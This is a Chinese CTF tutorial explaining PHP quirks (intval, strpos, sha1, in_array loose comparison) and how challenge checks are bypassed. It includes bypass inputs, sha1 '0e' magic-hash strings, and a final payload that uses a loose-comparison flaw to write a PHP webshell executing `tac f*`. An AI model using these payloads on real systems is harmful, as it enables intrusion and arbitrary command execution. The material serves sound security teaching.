CTF中的PHP特性函数解析之中篇
作者:XINO 发布时间:2023-06-11 12:56:20
前言
上篇文章给大家带来了PHP中最基本的特性,不知道大家学习的怎样了,回顾上文,我们讲了MD5强弱碰撞以及正则匹配的绕过,总体来看还是很简单的,下面给大家带来新的PHP特性讲解,会稍微比上一篇难一些。
intval()
上一篇在最后时简单介绍了一下这个函数,我们看看官方是怎样定义的:
简单来说就是让输入的数字变成整数,下面我们举个例子:
echo intval(1145.14); // 1145
echo intval('114514'); // 114514
可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:
if($num==="1145"){
die("no no no!");
}
if(intval($num,0)===1145){
echo $flag;
}
要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?
这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:
sum=1145a
intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:
当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。
strpos()
根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:
if(!strpos($num, "0")){
die("no no no!");
因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。
sha1
p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:
数组比较
类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:
if(sha1($a)==sha1($b) && $a!=$b){
echo $flag;
}
可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,,于是我们传入数组来使结果为NULL:
a[]=1
b[]=2
强类型
与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:
if(sha1($a)===sha1($b) && $a!=$b){
echo $flag;
}
这里同样有类似于MD5函数的解决方法:
a=aaK1STf //0e7665852665575620768827115962402601
b=aaO8zKZF //0e89257456677279068558073954252716165
array_push()
可以理解为向数组尾部插入参数,我们看看是如何考察的:
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:
type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:
get: n=1.php
post: content=<?=`tac f*`;
来源:https://juejin.cn/post/7177373916879388731
猜你喜欢
- 级联样式表在13年前被引入,而且被广泛使用的CSS 2.1 标准在11年前被创建,显然我们现在已经与当年相差千里了。相当了不起的是期间网站开
- Hough圆变换的原理很多博客都已经说得非常清楚了,但是手动实现的比较少,所以本文直接贴上手动实现的代码。这里使用的图片是一堆硬币:&nbs
- 今天分享 3 个 Python 编程小技巧,来看看你是否用过?1、如何按照字典的值的大小进行排序我们知道,字典的本质是哈希表,本身是无法排序
- 相关的OBJECTPROPERTY可参考:http://msdn.microsoft.com/en-us/library/ms176105.
- 刚刚在学习些测试报告的时候,出现一个路径的问题,找了很久的原因,竟然是少了一个反斜杠引起的,在此顺便记录一下正反斜杠的作用。在Python中
- 就在前几天还是二十多度的舒适温度,今天一下子就变成了个位数,小编已经感受到冬天寒风的无情了。之前对获取天气都是数据上的搜集,做成了一个数据表
- Q: 不知xml和html有什么区别?它们不同在哪? A: 关于XML和HTML区别请参考: http://www.w3c.org/Mark
- 首先官网上的树形控件教程地址为Element - The world's most popular Vue UI framework
- 本人最近在学习python,在看了一些教程后,用python写了一个简单的云音乐播放器,下面把主要代码贴上来,其中用到了github上他人写
- 介绍Zmail 使得在python3中发送和接受邮件变得更简单。你不需要手动添加服务器地址、端口以及适合的协议,zmail会帮你完成。此外,
- 介绍 itertools是python内置的模块,使用简单且功能强大,这里尝试汇
- python读写文件有时候会出现 ‘XXX'编码不能打开XXX什么的,用记事本打开要读取的文件,另存为UTF
- 用于匹配的正则表达式为 :([1-9]\d*\.?\d*)|(0\.\d*[1-9])([1-9] :匹配1~9的数字;\d :匹配数字,包
- 在 Python 中,* 和 ** 具有语法多义性,具体来说是有四类用法。1. 算数运算* 代表乘法** 代表乘方>>>
- 今天跟大家分享一下,如何通过Python实现一个轻量级的库来获取电脑上连接的Android设备信息,为什么说轻量呢因为整个库也就4KB,相比
- 前言vim是个伟大的编辑器,不仅在于她特立独行的编辑方式,还在于她强大的扩展能力。然而,vim自身用于写插件的语言vimL功能有很大的局限性
- 什么是组件:组件是Vue.js最强大的功能之一。组件可以扩展HTML元素,封装可重用的代码。在较高层面上,组件是自定义的元素,Vue.js的
- 在Windows下安装MySQL ,用了官方的配置向导生成了my.ini,本以为很安稳了,谁知十多个小时过去之后,系统响应非常慢,看资源管理
- 懒加载:也叫延迟加载,即在需要的时候进行加载,随用随载。 像vue这种单页面应用,如果没有应用懒加载,运用webpack打包后的文
- Softmax原理Softmax函数用于将分类结果归一化,形成一个概率分布。作用类似于二分类中的Sigmoid函数。对于一个k维向量z,我们